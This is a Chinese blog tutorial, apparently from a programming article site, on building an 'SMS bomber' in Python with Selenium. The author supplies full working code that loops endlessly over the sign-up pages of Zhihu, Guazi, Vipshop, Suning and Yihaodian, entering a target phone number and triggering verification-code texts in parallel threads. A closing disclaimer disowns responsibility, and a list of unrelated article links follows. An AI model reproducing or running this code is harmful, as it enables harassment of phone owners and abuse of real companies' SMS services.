手把手教你实现"短信轰炸"
手把手教你实现"短信轰炸"
我这里采用简单易懂的语言--"Python3"来实现
实现前的准备:
1,电脑,谷歌浏览器
2,python3环境
3,chromedrive相应的版本
1 , 当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:
Python官网:https://www.python.org/你可以在以下链接中下载 Python 的文档,你可以下载 HTML、PDF 和 PostScript 等格式的文档。
Python文档下载地址:https://www.python.org/doc/ 我这下载的是最新版本python3.7
你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了.
2,你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装chromedriver啦,下面给你详细的安装步骤
点击下面的连接下载chromedrive,
http://chromedriver.storage.googleapis.com/index.html
你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.
下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,,我把我的贴上去了
一切准备就绪了,那就打开你的python,在这里我们需要安装三个python包(如下图)如果你是linux操作系统可能比较方便安装引入查看相应的库和,不过在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟,pip install+包名 这样既可以了哟!如果你觉得慢的话,,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.
3,话不多说->代码解释:
1,需要驱动依赖的python包代码:
1 from selenium import webdriver
2 import time
3 from threading import Thread
4
2,创建某某平台的短信轰炸指定手机函数:
1 class HongZha(object):
2 def __init__(self):
3 self.phone = "12345678909"#你要轰炸的电话号码
4 self.num = 0
5 def send_yzm(self,button,name):
6 button.click()
7 self.num+=1
8 print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))
9 time.sleep(2)
10 def zhihu(self,name):
11 while True:#下面这行是刚刚叙说的chromedrive的安装路径
12
13 driver = webdriver.Chrome("C:Program Files (x86)GoogleChromeApplicationchromedriver.exe")
14 driver.get("https://www.zhihu.com/question/39993344")
15 driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
16 time.sleep(2)
17 tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
18 tel.send_keys(self.phone)
19 button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
20 self.send_yzm(button,name)
21 driver.quit ()
22 def guazi(self,name):
23 while True:
24 driver = webdriver.Chrome("C:Program Files (x86)GoogleChromeApplicationchromedriver.exe")
25 driver.get("https://www.guazi.com/www/bj/buy")
26 a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
27 a_btn.click()
28 time.sleep(2)
29 tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
30 tel.send_keys( self.phone )
31 button = driver.find_element_by_xpath("//button[@class='get-code']")
32 self.send_yzm(button,name)
33 driver.quit()
34 def wphui(self,name):
35 while True:
36 driver = webdriver.Chrome("C:Program Files (x86)GoogleChromeApplicationchromedriver.exe")
37 driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
38 tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
39 tel.send_keys ( self.phone )
40 driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
41 button = driver.find_element_by_xpath (
42 "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
43 self.send_yzm ( button,name )
44 driver.quit ()
45 def suning(self,name):
46 while True:
47 driver = webdriver.Chrome("C:Program Files (x86)GoogleChromeApplicationchromedriver.exe")
48 driver.get ( "https://reg.suning.com/person.do" )
49 driver.find_element_by_xpath("//a[@class='agree-btn']").click()
50 tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
51 tel.send_keys ( self.phone )
52 button = driver.find_element_by_xpath (
53 "//a[@id='sendSmsCode']" )
54 self.send_yzm ( button,name )
55 driver.quit ()
56 def yhd(self,name):
57 while True:
58 driver = webdriver.Chrome("C:Program Files (x86)GoogleChromeApplicationchromedriver.exe")
59 driver.get ( "https://passport.yhd.com/passport/register_input.do" )
60 driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神")
61 tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
62 tel.send_keys ( self.phone )
63 time.sleep(2)
64 button = driver.find_element_by_xpath (
65 "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
66 #button.click()
67 time.sleep(1)
68 self.send_yzm ( button,name )
69 driver.quit ()
3,引用相关对象,调用对象对应方法:
1 hongzha = HongZha()
2 zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
3 guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
4 wphui = Thread(target=hongzha.wphui,args=("唯品会",))
5 suning = Thread(target=hongzha.suning,args=("苏宁",))
6 yhd = Thread( target=hongzha.yhd,args=("一号店",))
7 zhihu.start()//调用定义方法
8 guazi.start()
9 wphui.start()
10 suning.start()
11 yhd.start()
然后运行结果我就不弄太多,因为是我自己的手机测试的,
我做的处理防止拿我手机号来轰炸!
在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,,小编概不负任何责任....
声明: 你们拿来做的任何事情与小编无关!
下篇手把手教你们如何爬取整个小说网站并且实现小说的"语音播放".
- linux开机流程
- 大整数乘法
- ntp服务配置
- Linux系统下如何查看及修改文件读写权限
- Apache Commons CLI命令行启动
- rsync+inotify实时同步
- 18本纸质书:OpenCV、Python和机器学习,总有一本适合你
- 三种Linux服务器监控技术的对比
- http和www服务基础知识
- 手把手教你在VirtualBox中与主机共享文件夹
- Kafka与Logstash的数据采集对接 —— 看图说话,从运行机制到部署
- Kafka入门初探+伪集群部署
- Beats数据采集---PacketbeatFilebeatTopbeatWinlogBeat使用指南
- linux NFS网络文件系统
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 66. Vue 结合webpack使用jquery以及boostrap
- 每周一总结 总结(2) redis lua相关
- 在lightgbm中使用交叉验证
- 比较bigwig文件的相似程度
- JVM垃圾回收之垃圾收集算法,程序员必须掌握的知识
- Qt学习采坑记录
- Day3.判断&循环语句
- Day2.不就是运算符吗!
- Apache Kylin VS Apache Doris
- 「R」绘制分组排序点图
- 初识ABP vNext(8):ABP特征管理
- C++实现epoll echo服务器
- 相关性 ≠ 因果性,用图的方式打开因果关系
- 斗转星移 | 三万字总结Kafka各个版本差异
- Hadoop支持Lzo压缩配置及案例